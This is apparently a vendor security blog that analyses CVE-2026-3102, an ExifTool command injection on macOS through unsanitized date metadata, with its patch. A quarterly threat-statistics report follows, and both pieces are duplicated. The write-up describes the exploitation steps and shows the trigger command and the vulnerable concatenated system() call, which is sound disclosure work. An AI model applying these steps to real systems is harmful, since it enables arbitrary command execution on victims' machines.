Introduction

ExifTool is a widely adopted utility for reading and writing metadata in image, PDF, audio, and video files. It is available both as a standalone command-line application and as a library that can be embedded in other software. In this article, we break down CVE-2026-3102, an ExifTool vulnerability discovered by Kaspersky’s Global Research and Analysis Team (GReAT) in February 2026 and patched by the developers within the same month. Affecting macOS systems with ExifTool version 13.49 and earlier, this flaw could let an attacker run arbitrary commands by hiding instructions inside an image file’s metadata.

This investigation originated from revisiting an n-day vulnerability I first examined years ago: CVE-2021-22204. That flaw exploited weak regex-based sanitization before feeding user input into an eval sink. By auditing adjacent input validation routines across ExifTool codebase for similar oversights, I discovered CVE-2026-3102. Successful exploitation of CVE-2026-3102 enables an attacker to execute arbitrary shell commands with the privileges of the user invoking ExifTool, potentially leading to full system compromise.

Technical details

Disclaimer

Exploiting CVE-2026-3102 requires the -n (also known as -printConv) flag and outputs machine-readable data without additional processing.

Tracing the vulnerable sink

Taint analysis (aka tainted data analysis) allows for the detection of “dirty” data that reaches dangerous locations without validation. In this context, a “sink” is a point or function in a program where data or a parameter marked as “tainted” or originating from an untrusted source (e.g., user input) can affect the program’s behavior. In ExifTool, these functions are eval and system, both of which are capable of executing system commands. While CVE-2021-22204 exploited an eval function as a sink, this vulnerability (CVE-2026-3102) targets the system function. Knowing the vulnerable sink, we needed to trace how user-controlled data reaches it. Below, we break down the details.

Finding an unsanitized date value

The screenshot above shows where the system() sink resides within the SetMacOSTags function. Tracing backward from system(), we identified the $cmd variable as the source of the executed command. This variable is assembled from three inputs: $file (properly sanitized), $setTags (processed iteratively), and $val (user-controlled and, crucially, left unsanitized in the vulnerable branch).

In ExifTool, a tag is a named metadata field. When parsing an image, the utility extracts date and time values from standard EXIF records or macOS filesystem attributes. To handle file creation dates on macOS, ExifTool relies on the Spotlight system attribute MDItemFSCreationDate. Within the program code, this attribute maps to the internal alias $FileCreateDate. These two identifiers govern how the file creation date is stored and applied.

This creates a critical link to the vulnerability: when parsing an image, ExifTool iterates through the discovered tags. The current tag’s name is assigned to the $tag variable, while its text content (e.g., a date string) is assigned to $val. The vulnerable code path is triggered only when $tag matches MDItemFSCreationDate or $FileCreateDate. At this point, the tag’s content flows into $val and is passed to the SetMacOSTags function. As shown in the screenshot below, the filename parameter is properly escaped, but the date value ($val) is not. Because the date is extracted directly from file metadata, an attacker can inject quotes into this field. This breaks the command structure and allows the payload to execute via the system() sink.

The following screenshots show some of the tags that can be modified. With the vulnerable parameter identified, the next challenge was delivery: how to place our payload into FileCreateDate without triggering early validation? We found the answer in the official documentation.

Planning the payload delivery

Let’s refer to the documentation to understand how ExifTool handles tag operations and identify a legitimate feature that can be repurposed for exploitation. Specifically, we need to find a way to deliver our payload into the vulnerable FileCreateDate parameter. When looking for macOS-related tags as well as FileCreateDate, we can find the following information:

• To write or delete metadata, tag values are assigned using –TAG=[VALUE], and/or the -geotag, -csv= or -json=
• To copy or move metadata, the -tagsFromFile feature is used.

(You can find the useful info on tag operations above and how it relates under the hood in ExifTool in the dedicated section of the documentation and on the ExifTool description page.)

To trigger the vulnerability, we need to copy a string (date format: MM/DD/YYYY) using the -tagsFromFile feature, as this operation invokes the SetMacOSTags function where the unsanitized $val parameter reaches the system() sink.

Why copy instead of writing directly? Because the vulnerable code path (SetMacOSTags) is only triggered when metadata is copied into FileCreateDate — not when it is written directly. By using -tagsFromFile, we can prepare a “source” tag (e.g., DateTimeOriginal) that accepts arbitrary values and copy that value into FileCreateDate, thereby invoking the vulnerable function with our controlled input.

Furthermore, we want to introduce single quotes (since they are not being escaped in $val). For starters, we can look for date-time tag and copy via -tagsFromFile by searching the EXIF tag table. Direct assignment to FileCreateDate is heavily validated, so we looked for a source tag that accepts raw values and can be copied into the target field. The following snippet shows the beginning of said table.

When doing the analysis, I made use of DateTimeOriginal though I believe you can also use CreateDate which is 0x9004 (see the following screenshot). Initial attempts to inject malformed dates failed: ExifTool’s built-in filter rejected the input. To bypass this, we examined how the tool handles raw metadata.

Bypassing the filter

To confirm that the PrintConvInv filter rejects invalid dates when written directly, I ran the following command, where evil_benign.jpg is a normal JPG with an invalid date time format. We are greeted with the error message: Invalid date/time. This requires the time as well. The next screenshot confirms that direct exploitation fails: ExifTool’s date validation detects the malformed input and rejects the change, activating the internal PrintConvInv filter.

That said, it is possible to ignore the formatting and use the -n flag which accepts raw values instead of human-readable value.  The -n flag skips the PrintConvInv conversion step, which is exactly where input sanitization occurs. This confirmed we could park unsanitized data in a source tag. The final step was to trigger the vulnerable code path by copying that data into FileCreateDate. This means we should now be able to modify the DateTimeOriginal tag with the invalid date time format with an -n flag. Examining the EXIF metadata tag, we can confirm that we can store a raw value without a proper human readable format that ExifTool accepts:

Triggering the exploit

To inject commands, we have to revisit the single quote injection into this datetime related tag.

The following screenshot shows that we have successfully set the datetime metadata with the single quote. With the payload safely stored in a source tag, the next step was to copy it into FileCreateDate, triggering the vulnerable system() call.

The next step now is to copy the datetime tag to a file which invokes SetMacOSTags. According to the documentation, this is how we can copy the data from the SRC tag to the FileCreateDate tag as seen in the SetMacOSTags with the -tagsFromFile feature.

exiftool [_OPTIONS_] -tagsFromFile _SRCFILE_ [-[_DSTTAG_<]_SRCTAG_...] _FILE_...

Therefore, we can craft our final command:

cp evil_benign.jpg pwn.jpg;
../../exiftool -n -tagsFromFile evil_benign.jpg "-FileCreateDate<DateTimeOriginal" pwn.jpg

Here, we confirm that the payload has been executed! Note that when copying tags in MacOS (Darwin), the /usr/bin/setfile command is used. To view the full $cmd value before the injection, I have added the debugging statement to displaying the actual command that is executed within the system function.

Upon injection, we can see that our command gets executed via command substitution. The single quotes that we added helped to make the entire command syntactically valid. The following shows a more detailed labelling and their roles in making this command line injection successful:

Such an image can appear completely benign and easily find its way into a newsroom or any organization that processes photos on macOS using ExifTool. Once processed, an attacker could silently deploy a Trojan for covert data exfiltration, drop additional malware, or use the compromised machine as a foothold to expand the attack within the victim’s network.

Patch analysis

After verifying successful exploitation, we examined how the maintainer addressed the flaw in version 13.50. In the vulnerable version of ExifTool, commands were sanitized before being concatenated together. This means that it is possible to concatenate single quotes which led to the exploitation. However, by abstracting the system call into a dedicated wrapper and requiring a list of arguments instead of concatenated string, the fix removes the need for any manual escaping altogether.

1. Replacing string form to argument list form:

#### BEFORE
$cmd = "/usr/bin/setfile -d '${val}' '${f}'";
system $cmd;
  
#### AFTER
system('/usr/bin/setfile', '-d', $val, $file);

2. Create new System() wrapper. In version 13.49, the output is piped to /dev/null . To maintain that logic, the wrapper would temporarily redirect STDOUT/STDERR to /dev/null and restore them after the call.

# Call system command, redirecting all I/O to /dev/null
# Inputs: system arguments
# Returns: system return code
sub System
{
    open(my $oldout, ">&STDOUT");
    open(my $olderr, ">&STDERR");
    open(STDOUT, '>', '/dev/null');
    open(STDERR, '>', '/dev/null');
    my $result = system(@_);
    open(STDOUT, ">&", $oldout);
    open(STDERR, ">&", $olderr);
    return $result;
}

How to protect against ExifTool vulnerability

It’s critical to ensure that all photo processing workflows are using the updated version. You should verify that all asset management platforms, photo organization apps, and any bulk image processing scripts running on Macs are calling ExifTool version 13.50 or later, and don’t contain an embedded older copy of the ExifTool library.

ExifTool, like any software, may contain additional vulnerabilities of this class. To harden defenses, I recommend using Kaspersky Open Source Software Threats Data Feed for continuous monitoring of open-source components in your software supply chain, and Kaspersky for macOS as comprehensive endpoint protection. Additionally, isolate processing of untrusted files on dedicated machines or virtual environments with strictly limited network and storage access. If you work with freelancers, contractors, or allow BYOD, enforce a policy that only devices with an active macOS security solution can access your corporate network.

Conclusions

CVE-2026-3102 highlights the risks of inconsistent input sanitization in tools that bridge high-level metadata parsing with platform-specific utilities. While exploitation requires explicit flag usage (-n) and is restricted to macOS, the vulnerability underscores the danger of manual escaping routines in evolving codebases. The transition to list-form system execution provides a robust, architecture-level fix that eliminates shell interpretation risks entirely. This case reinforces a core security principle: replacing fragile string concatenation with secure, list-based API calls remains the most reliable mitigation against command injection.

Introduction

ExifTool is a widely adopted utility for reading and writing metadata in image, PDF, audio, and video files. It is available both as a standalone command-line application and as a library that can be embedded in other software. In this article, we break down CVE-2026-3102, an ExifTool vulnerability discovered by Kaspersky’s Global Research and Analysis Team (GReAT) in February 2026 and patched by the developers within the same month. Affecting macOS systems with ExifTool version 13.49 and earlier, this flaw could let an attacker run arbitrary commands by hiding instructions inside an image file’s metadata.

This investigation originated from revisiting an n-day vulnerability I first examined years ago: CVE-2021-22204. That flaw exploited weak regex-based sanitization before feeding user input into an eval sink. By auditing adjacent input validation routines across ExifTool codebase for similar oversights, I discovered CVE-2026-3102. Successful exploitation of CVE-2026-3102 enables an attacker to execute arbitrary shell commands with the privileges of the user invoking ExifTool, potentially leading to full system compromise.

Technical details

Disclaimer

Exploiting CVE-2026-3102 requires the -n (also known as -printConv) flag and outputs machine-readable data without additional processing.

Tracing the vulnerable sink

Taint analysis (aka tainted data analysis) allows for the detection of “dirty” data that reaches dangerous locations without validation. In this context, a “sink” is a point or function in a program where data or a parameter marked as “tainted” or originating from an untrusted source (e.g., user input) can affect the program’s behavior. In ExifTool, these functions are eval and system, both of which are capable of executing system commands. While CVE-2021-22204 exploited an eval function as a sink, this vulnerability (CVE-2026-3102) targets the system function. Knowing the vulnerable sink, we needed to trace how user-controlled data reaches it. Below, we break down the details.

Finding an unsanitized date value

The screenshot above shows where the system() sink resides within the SetMacOSTags function. Tracing backward from system(), we identified the $cmd variable as the source of the executed command. This variable is assembled from three inputs: $file (properly sanitized), $setTags (processed iteratively), and $val (user-controlled and, crucially, left unsanitized in the vulnerable branch).

In ExifTool, a tag is a named metadata field. When parsing an image, the utility extracts date and time values from standard EXIF records or macOS filesystem attributes. To handle file creation dates on macOS, ExifTool relies on the Spotlight system attribute MDItemFSCreationDate. Within the program code, this attribute maps to the internal alias $FileCreateDate. These two identifiers govern how the file creation date is stored and applied.

This creates a critical link to the vulnerability: when parsing an image, ExifTool iterates through the discovered tags. The current tag’s name is assigned to the $tag variable, while its text content (e.g., a date string) is assigned to $val. The vulnerable code path is triggered only when $tag matches MDItemFSCreationDate or $FileCreateDate. At this point, the tag’s content flows into $val and is passed to the SetMacOSTags function. As shown in the screenshot below, the filename parameter is properly escaped, but the date value ($val) is not. Because the date is extracted directly from file metadata, an attacker can inject quotes into this field. This breaks the command structure and allows the payload to execute via the system() sink.

The following screenshots show some of the tags that can be modified. With the vulnerable parameter identified, the next challenge was delivery: how to place our payload into FileCreateDate without triggering early validation? We found the answer in the official documentation.

Planning the payload delivery

Let’s refer to the documentation to understand how ExifTool handles tag operations and identify a legitimate feature that can be repurposed for exploitation. Specifically, we need to find a way to deliver our payload into the vulnerable FileCreateDate parameter. When looking for macOS-related tags as well as FileCreateDate, we can find the following information:

• To write or delete metadata, tag values are assigned using –TAG=[VALUE], and/or the -geotag, -csv= or -json=
• To copy or move metadata, the -tagsFromFile feature is used.

(You can find the useful info on tag operations above and how it relates under the hood in ExifTool in the dedicated section of the documentation and on the ExifTool description page.)

To trigger the vulnerability, we need to copy a string (date format: MM/DD/YYYY) using the -tagsFromFile feature, as this operation invokes the SetMacOSTags function where the unsanitized $val parameter reaches the system() sink.

Why copy instead of writing directly? Because the vulnerable code path (SetMacOSTags) is only triggered when metadata is copied into FileCreateDate — not when it is written directly. By using -tagsFromFile, we can prepare a “source” tag (e.g., DateTimeOriginal) that accepts arbitrary values and copy that value into FileCreateDate, thereby invoking the vulnerable function with our controlled input.

Furthermore, we want to introduce single quotes (since they are not being escaped in $val). For starters, we can look for date-time tag and copy via -tagsFromFile by searching the EXIF tag table. Direct assignment to FileCreateDate is heavily validated, so we looked for a source tag that accepts raw values and can be copied into the target field. The following snippet shows the beginning of said table.

When doing the analysis, I made use of DateTimeOriginal though I believe you can also use CreateDate which is 0x9004 (see the following screenshot). Initial attempts to inject malformed dates failed: ExifTool’s built-in filter rejected the input. To bypass this, we examined how the tool handles raw metadata.

Bypassing the filter

To confirm that the PrintConvInv filter rejects invalid dates when written directly, I ran the following command, where evil_benign.jpg is a normal JPG with an invalid date time format. We are greeted with the error message: Invalid date/time. This requires the time as well. The next screenshot confirms that direct exploitation fails: ExifTool’s date validation detects the malformed input and rejects the change, activating the internal PrintConvInv filter.

That said, it is possible to ignore the formatting and use the -n flag which accepts raw values instead of human-readable value.  The -n flag skips the PrintConvInv conversion step, which is exactly where input sanitization occurs. This confirmed we could park unsanitized data in a source tag. The final step was to trigger the vulnerable code path by copying that data into FileCreateDate. This means we should now be able to modify the DateTimeOriginal tag with the invalid date time format with an -n flag. Examining the EXIF metadata tag, we can confirm that we can store a raw value without a proper human readable format that ExifTool accepts:

Triggering the exploit

To inject commands, we have to revisit the single quote injection into this datetime related tag.

The following screenshot shows that we have successfully set the datetime metadata with the single quote. With the payload safely stored in a source tag, the next step was to copy it into FileCreateDate, triggering the vulnerable system() call.

The next step now is to copy the datetime tag to a file which invokes SetMacOSTags. According to the documentation, this is how we can copy the data from the SRC tag to the FileCreateDate tag as seen in the SetMacOSTags with the -tagsFromFile feature.

exiftool [_OPTIONS_] -tagsFromFile _SRCFILE_ [-[_DSTTAG_<]_SRCTAG_...] _FILE_...

Therefore, we can craft our final command:

cp evil_benign.jpg pwn.jpg;
../../exiftool -n -tagsFromFile evil_benign.jpg "-FileCreateDate<DateTimeOriginal" pwn.jpg

Here, we confirm that the payload has been executed! Note that when copying tags in MacOS (Darwin), the /usr/bin/setfile command is used. To view the full $cmd value before the injection, I have added the debugging statement to displaying the actual command that is executed within the system function.

Upon injection, we can see that our command gets executed via command substitution. The single quotes that we added helped to make the entire command syntactically valid. The following shows a more detailed labelling and their roles in making this command line injection successful:

Such an image can appear completely benign and easily find its way into a newsroom or any organization that processes photos on macOS using ExifTool. Once processed, an attacker could silently deploy a Trojan for covert data exfiltration, drop additional malware, or use the compromised machine as a foothold to expand the attack within the victim’s network.

Patch analysis

After verifying successful exploitation, we examined how the maintainer addressed the flaw in version 13.50. In the vulnerable version of ExifTool, commands were sanitized before being concatenated together. This means that it is possible to concatenate single quotes which led to the exploitation. However, by abstracting the system call into a dedicated wrapper and requiring a list of arguments instead of concatenated string, the fix removes the need for any manual escaping altogether.

1. Replacing string form to argument list form:

#### BEFORE
$cmd = "/usr/bin/setfile -d '${val}' '${f}'";
system $cmd;
  
#### AFTER
system('/usr/bin/setfile', '-d', $val, $file);

2. Create new System() wrapper. In version 13.49, the output is piped to /dev/null . To maintain that logic, the wrapper would temporarily redirect STDOUT/STDERR to /dev/null and restore them after the call.

# Call system command, redirecting all I/O to /dev/null
# Inputs: system arguments
# Returns: system return code
sub System
{
    open(my $oldout, ">&STDOUT");
    open(my $olderr, ">&STDERR");
    open(STDOUT, '>', '/dev/null');
    open(STDERR, '>', '/dev/null');
    my $result = system(@_);
    open(STDOUT, ">&", $oldout);
    open(STDERR, ">&", $olderr);
    return $result;
}

How to protect against ExifTool vulnerability

It’s critical to ensure that all photo processing workflows are using the updated version. You should verify that all asset management platforms, photo organization apps, and any bulk image processing scripts running on Macs are calling ExifTool version 13.50 or later, and don’t contain an embedded older copy of the ExifTool library.

ExifTool, like any software, may contain additional vulnerabilities of this class. To harden defenses, I recommend using Kaspersky Open Source Software Threats Data Feed for continuous monitoring of open-source components in your software supply chain, and Kaspersky for macOS as comprehensive endpoint protection. Additionally, isolate processing of untrusted files on dedicated machines or virtual environments with strictly limited network and storage access. If you work with freelancers, contractors, or allow BYOD, enforce a policy that only devices with an active macOS security solution can access your corporate network.

Conclusions

CVE-2026-3102 highlights the risks of inconsistent input sanitization in tools that bridge high-level metadata parsing with platform-specific utilities. While exploitation requires explicit flag usage (-n) and is restricted to macOS, the vulnerability underscores the danger of manual escaping routines in evolving codebases. The transition to list-form system execution provides a robust, architecture-level fix that eliminates shell interpretation risks entirely. This case reinforces a core security principle: replacing fragile string concatenation with secure, list-based API calls remains the most reliable mitigation against command injection.

IT threat evolution in Q1 2026. Non-mobile statistics
IT threat evolution in Q1 2026. Mobile statistics

The statistics in this report are based on detection verdicts returned by Kaspersky products unless otherwise stated. The information was provided by Kaspersky users who consented to sharing statistical data.

Quarterly figures

In Q1 2026:

• Kaspersky products blocked more than 343 million attacks that originated with various online resources.
• Web Anti-Virus responded to 50 million unique links.
• File Anti-Virus blocked nearly 15 million malicious and potentially unwanted objects.
• 2938 new ransomware variants were detected.
• More than 77,000 users experienced ransomware attacks.
• 14% of all ransomware victims whose data was published on threat actors’ data leak sites (DLS) were victims of Clop.
• More than 260,000 users were targeted by miners.

Ransomware

Quarterly trends and highlights

Law enforcement success

In January 2026, it was reported that the FBI had seized the domains of the RAMP cybercrime forum, a major platform used extensively by ransomware developers to advertise their RaaS programs and to recruit affiliates. There has been no official statement from the FBI, nor is it clear if RAMP servers were seized. In a post on an external website, a RAMP moderator mentioned law enforcement agencies gaining control over the forum. The takedown disrupted a key element of the RaaS ecosystem, creating ripple effects for ransomware operators, affiliates, and initial access brokers.

A man suspected of links to the Phobos group was apprehended in Poland. He was charged with the creation, acquisition, and distribution of software designed for unlawfully obtaining information, including data that facilitates unauthorized access to information stored within a computer system.

In March, a Phobos ransomware administrator pleaded guilty to the creation and distribution of the Trojan, which had been used in international attacks dating back to at least November 2020.

In March, the U.S. Department of Justice charged a man who had acted as a negotiator for ransomware groups. The company he worked for specializes in cyberincident investigations. The prosecution alleges the suspect colluded with the BlackCat threat actor to share privileged insights into the ongoing progress of negotiations. Additionally, the suspect is alleged to have had a prior direct role in BlackCat attacks, serving as an affiliate for the RaaS operation.

In a separate development this March, a U.S. court sentenced an initial access broker associated with the Yanluowang ransomware group to 81 months of imprisonment. According to the U.S. Department of Justice, the convict facilitated dozens of ransomware attacks across the United States, resulting in over $9 million in actual loss and more than $24 million in intended loss.

Vulnerabilities and attacks

The Interlock group has been heavily exploiting the CVE-2026-20131 zero-day vulnerability in Cisco Secure FMC firewall management software since at least January 26, 2026. The vulnerability enabled arbitrary Java code execution with root privileges on the affected device. This campaign demonstrates the ongoing reliance on zero-day vulnerabilities for initial access, a focus on network appliances as high-value entry points, and the rapid weaponization of new vulnerabilities within the ransomware ecosystem.

The most prolific groups

This section highlights the most prolific ransomware gangs by number of victims added to each group’s DLS. This quarter, the Clop ransomware (14.42%) returned to the top of the rankings, displacing Qilin (12.34%), which had held the leading position in the previous reporting period. Following closely is a new threat actor, The Gentlemen (9.25%). Emerging no later than July 2025, the group had already surpassed the activity levels of mainstays such as Akira (7.25%) and INC Ransom (6.13%).

Number of each group’s victims according to its DLS as a percentage of all groups’ victims published on all the DLSs under review during the reporting period (download)

Number of new variants

In Q1 2026, Kaspersky solutions detected six new ransomware families and 2938 new modifications. Volumes have returned to Q3 2025 levels following a surge in Q4 2025.

Number of new ransomware modifications, Q1 2025 — Q1 2026 (download)

Number of users attacked by ransomware Trojans

Throughout Q1, our solutions protected 77,319 unique users from ransomware. Ransomware activity was highest in March, with 35,056 unique users encountering such attacks during the month.

Number of unique users attacked by ransomware Trojans, Q1 2026 (download)

Attack geography

TOP 10 countries and territories attacked by ransomware Trojans

* Excluded are countries and territories with relatively few (under 50,000) Kaspersky users.
** Unique users whose computers were attacked by ransomware Trojans as a percentage of all unique users of Kaspersky products in the country/territory.

TOP 10 most common families of ransomware Trojans

* Unique Kaspersky users attacked by the specific ransomware Trojan family as a percentage of all unique users attacked by this type of threat.

Miners

Number of new variants

In Q1 2026, Kaspersky solutions detected 3485 new modifications of miners.

Number of new miner modifications, Q1 2026 (download)

Number of users attacked by miners

In Q1, we detected attacks using miner programs on the computers of 260,588 unique Kaspersky users worldwide.

Number of unique users attacked by miners, Q1 2026 (download)

Attack geography

TOP 10 countries and territories attacked by miners

* Excluded are countries and territories with relatively few (under 50,000) Kaspersky users.
** Unique users whose computers were attacked by miners as a percentage of all unique users of Kaspersky products in the country/territory.

Attacks on macOS

In Q1 2026, Google uncovered a new cryptocurrency theft campaign. The scammers directed victims to a fraudulent video call, prompting them to execute malicious scripts under the guise of technical support fixes for connection problems.

In March, researchers with GTIG and iVerify reported the discovery of an in-the-wild exploit chain targeting both iOS and macOS devices. The exploit kit was apparently marketed on the dark web, providing threat actors with a suite of spyware capabilities alongside specialized cryptocurrency exfiltration modules. The exploit was delivered via drive-by downloads when victims visited various compromised websites. Our analysis confirmed that the toolkit included an updated version of a component previously identified in the Operation Triangulation attack chain.

Devices running macOS were similarly impacted by the high-profile supply chain attack targeting the Axios npm package, a widely used HTTP client for JavaScript. The installation of the infected package led to the deployment of a backdoor on macOS devices.

TOP 20 threats to macOS

Unique users* who encountered this malware as a percentage of all attacked users of Kaspersky security solutions for macOS (download)

* Data for the previous quarter may differ slightly from previously published data due to some verdicts being retrospectively revised.

The share of PasivRobber spyware attacks is beginning to decline, giving way to more traditional adware and Monitor-class software capable of tracking user activity. The popular Amos stealer also maintains its presence within the TOP 20.

Geography of threats to macOS

TOP 10 countries and territories by share of attacked users

* Unique users who encountered threats to macOS as a percentage of all unique Kaspersky users in the country/territory.

IoT threat statistics

This section presents statistics on attacks targeting Kaspersky IoT honeypots. The geographic data on attack sources is based on the IP addresses of attacking devices.

In Q1 2026, the share of devices attacking Kaspersky honeypots via the SSH protocol saw a significant increase compared to the previous reporting period.

Distribution of attacked services by number of unique IP addresses of attacking devices (download)

The distribution of attacks between Telnet and SSH maintained the ratio observed in Q4 2025.

Distribution of attackers’ sessions in Kaspersky honeypots (download)

TOP 10 threats delivered to IoT devices

Share of each threat delivered to an infected device as a result of a successful attack, out of the total number of threats delivered (download)

The primary shifts in the IoT threat distribution are linked to the activity of various Mirai botnet variants, although members of this family continue to account for the majority of the list. Furthermore, a new variant, Mirai.kl, surfaced in the rankings. We also observed a significant decline in NyaDrop botnet activity during Q1.

Attacks on IoT honeypots

The United States, the Netherlands, and Germany accounted for the highest proportions of SSH-based attacks during this period.

China continues to account for the largest proportion of Telnet attacks, though there was a marked increase in activity originating from Pakistan.

Attacks via web resources

The statistics in this section are based on detection verdicts by Web Anti-Virus, which protects users when suspicious objects are downloaded from malicious or infected web pages. These malicious pages are purposefully created by cybercriminals. Websites that host user-generated content, such as message boards, as well as compromised legitimate sites, can become infected.

TOP 10 countries and territories that served as sources of web-based attacks

The following statistics show the distribution by country/territory of the sources of internet attacks blocked by Kaspersky products on user computers (web pages redirecting to exploits, sites containing exploits and other malicious programs, botnet C&C centers, and so on). One or more web-based attacks could originate from each unique host.

To determine the geographic source of web attacks, we matched the domain name with the real IP address where the domain is hosted, then identified the geographic location of that IP address (GeoIP).

In Q1 2026, Kaspersky solutions blocked 343,823,407 attacks launched from internet resources worldwide. Web Anti-Virus was triggered by 49,983,611 unique URLs.

Web-based attacks by country/territory, Q1 2026 (download)

Countries and territories where users faced the greatest risk of online infection

To assess the risk of malware infection via the internet for users’ computers in different countries and territories, we calculated the share of Kaspersky users in each location on whose computers Web Anti-Virus was triggered during the reporting period. The resulting data provides an indication of the aggressiveness of the environment in which computers operate in different countries and territories.

This ranked list includes only attacks by malicious objects classified as Malware. Our calculations leave out Web Anti-Virus detections of potentially dangerous or unwanted programs, such as RiskTool or adware.

* Excluded are countries and territories with relatively few (under 10,000) Kaspersky users.
** Unique users targeted by web-based Malware attacks as a percentage of all unique users of Kaspersky products in the country/territory.

On average during the quarter, 4.73% of users’ computers worldwide were subjected to at least one Malware web attack.

Local threats

Statistics on local infections of user computers are an important indicator. They include objects that penetrated the target computer by infecting files or removable media, or initially made their way onto the computer in non-open form. Examples of the latter are programs in complex installers and encrypted files.

Data in this section is based on analyzing statistics produced by anti-virus scans of files on the hard drive at the moment they were created or accessed, and the results of scanning removable storage media. The statistics are based on detection verdicts from the On-Access Scan (OAS) and On-Demand Scan (ODS) modules of File Anti-Virus and include detections of malicious programs located on user computers or removable media connected to the computers, such as flash drives, camera memory cards, phones, or external hard drives.

In Q1 2026, our File Anti-Virus detected 15,831,319 malicious and potentially unwanted objects.

Countries and territories where users faced the highest risk of local infection

For each country and territory, we calculated the percentage of Kaspersky users whose computers had the File Anti-Virus triggered at least once during the reporting period. This statistic reflects the level of personal computer infection in different countries and territories around the world.

Note that this ranked list includes only attacks by malicious objects classified as Malware. Our calculations leave out File Anti-Virus detections of potentially dangerous or unwanted programs, such as RiskTool or adware.

* Excluded are countries and territories with relatively few (under 10,000) Kaspersky users.
** Unique users on whose computers local Malware threats were blocked, as a percentage of all unique users of Kaspersky products in the country/territory.

On average worldwide, Malware local threats were detected at least once on 11.55% of users’ computers during Q1.

Russia scored 11.92% in these rankings.

IT threat evolution in Q1 2026. Non-mobile statistics
IT threat evolution in Q1 2026. Mobile statistics

The statistics in this report are based on detection verdicts returned by Kaspersky products unless otherwise stated. The information was provided by Kaspersky users who consented to sharing statistical data.

Quarterly figures

In Q1 2026:

• Kaspersky products blocked more than 343 million attacks that originated with various online resources.
• Web Anti-Virus responded to 50 million unique links.
• File Anti-Virus blocked nearly 15 million malicious and potentially unwanted objects.
• 2938 new ransomware variants were detected.
• More than 77,000 users experienced ransomware attacks.
• 14% of all ransomware victims whose data was published on threat actors’ data leak sites (DLS) were victims of Clop.
• More than 260,000 users were targeted by miners.

Ransomware

Quarterly trends and highlights

Law enforcement success

In January 2026, it was reported that the FBI had seized the domains of the RAMP cybercrime forum, a major platform used extensively by ransomware developers to advertise their RaaS programs and to recruit affiliates. There has been no official statement from the FBI, nor is it clear if RAMP servers were seized. In a post on an external website, a RAMP moderator mentioned law enforcement agencies gaining control over the forum. The takedown disrupted a key element of the RaaS ecosystem, creating ripple effects for ransomware operators, affiliates, and initial access brokers.

A man suspected of links to the Phobos group was apprehended in Poland. He was charged with the creation, acquisition, and distribution of software designed for unlawfully obtaining information, including data that facilitates unauthorized access to information stored within a computer system.

In March, a Phobos ransomware administrator pleaded guilty to the creation and distribution of the Trojan, which had been used in international attacks dating back to at least November 2020.

In March, the U.S. Department of Justice charged a man who had acted as a negotiator for ransomware groups. The company he worked for specializes in cyberincident investigations. The prosecution alleges the suspect colluded with the BlackCat threat actor to share privileged insights into the ongoing progress of negotiations. Additionally, the suspect is alleged to have had a prior direct role in BlackCat attacks, serving as an affiliate for the RaaS operation.

In a separate development this March, a U.S. court sentenced an initial access broker associated with the Yanluowang ransomware group to 81 months of imprisonment. According to the U.S. Department of Justice, the convict facilitated dozens of ransomware attacks across the United States, resulting in over $9 million in actual loss and more than $24 million in intended loss.

Vulnerabilities and attacks

The Interlock group has been heavily exploiting the CVE-2026-20131 zero-day vulnerability in Cisco Secure FMC firewall management software since at least January 26, 2026. The vulnerability enabled arbitrary Java code execution with root privileges on the affected device. This campaign demonstrates the ongoing reliance on zero-day vulnerabilities for initial access, a focus on network appliances as high-value entry points, and the rapid weaponization of new vulnerabilities within the ransomware ecosystem.

The most prolific groups

This section highlights the most prolific ransomware gangs by number of victims added to each group’s DLS. This quarter, the Clop ransomware (14.42%) returned to the top of the rankings, displacing Qilin (12.34%), which had held the leading position in the previous reporting period. Following closely is a new threat actor, The Gentlemen (9.25%). Emerging no later than July 2025, the group had already surpassed the activity levels of mainstays such as Akira (7.25%) and INC Ransom (6.13%).

Number of each group’s victims according to its DLS as a percentage of all groups’ victims published on all the DLSs under review during the reporting period (download)

Number of new variants

In Q1 2026, Kaspersky solutions detected six new ransomware families and 2938 new modifications. Volumes have returned to Q3 2025 levels following a surge in Q4 2025.

Number of new ransomware modifications, Q1 2025 — Q1 2026 (download)

Number of users attacked by ransomware Trojans

Throughout Q1, our solutions protected 77,319 unique users from ransomware. Ransomware activity was highest in March, with 35,056 unique users encountering such attacks during the month.

Number of unique users attacked by ransomware Trojans, Q1 2026 (download)

Attack geography

TOP 10 countries and territories attacked by ransomware Trojans

* Excluded are countries and territories with relatively few (under 50,000) Kaspersky users.
** Unique users whose computers were attacked by ransomware Trojans as a percentage of all unique users of Kaspersky products in the country/territory.

TOP 10 most common families of ransomware Trojans

* Unique Kaspersky users attacked by the specific ransomware Trojan family as a percentage of all unique users attacked by this type of threat.

Miners

Number of new variants

In Q1 2026, Kaspersky solutions detected 3485 new modifications of miners.

Number of new miner modifications, Q1 2026 (download)

Number of users attacked by miners

In Q1, we detected attacks using miner programs on the computers of 260,588 unique Kaspersky users worldwide.

Number of unique users attacked by miners, Q1 2026 (download)

Attack geography

TOP 10 countries and territories attacked by miners

* Excluded are countries and territories with relatively few (under 50,000) Kaspersky users.
** Unique users whose computers were attacked by miners as a percentage of all unique users of Kaspersky products in the country/territory.

Attacks on macOS

In Q1 2026, Google uncovered a new cryptocurrency theft campaign. The scammers directed victims to a fraudulent video call, prompting them to execute malicious scripts under the guise of technical support fixes for connection problems.

In March, researchers with GTIG and iVerify reported the discovery of an in-the-wild exploit chain targeting both iOS and macOS devices. The exploit kit was apparently marketed on the dark web, providing threat actors with a suite of spyware capabilities alongside specialized cryptocurrency exfiltration modules. The exploit was delivered via drive-by downloads when victims visited various compromised websites. Our analysis confirmed that the toolkit included an updated version of a component previously identified in the Operation Triangulation attack chain.

Devices running macOS were similarly impacted by the high-profile supply chain attack targeting the Axios npm package, a widely used HTTP client for JavaScript. The installation of the infected package led to the deployment of a backdoor on macOS devices.

TOP 20 threats to macOS

Unique users* who encountered this malware as a percentage of all attacked users of Kaspersky security solutions for macOS (download)

* Data for the previous quarter may differ slightly from previously published data due to some verdicts being retrospectively revised.

The share of PasivRobber spyware attacks is beginning to decline, giving way to more traditional adware and Monitor-class software capable of tracking user activity. The popular Amos stealer also maintains its presence within the TOP 20.

Geography of threats to macOS

TOP 10 countries and territories by share of attacked users

* Unique users who encountered threats to macOS as a percentage of all unique Kaspersky users in the country/territory.

IoT threat statistics

This section presents statistics on attacks targeting Kaspersky IoT honeypots. The geographic data on attack sources is based on the IP addresses of attacking devices.

In Q1 2026, the share of devices attacking Kaspersky honeypots via the SSH protocol saw a significant increase compared to the previous reporting period.

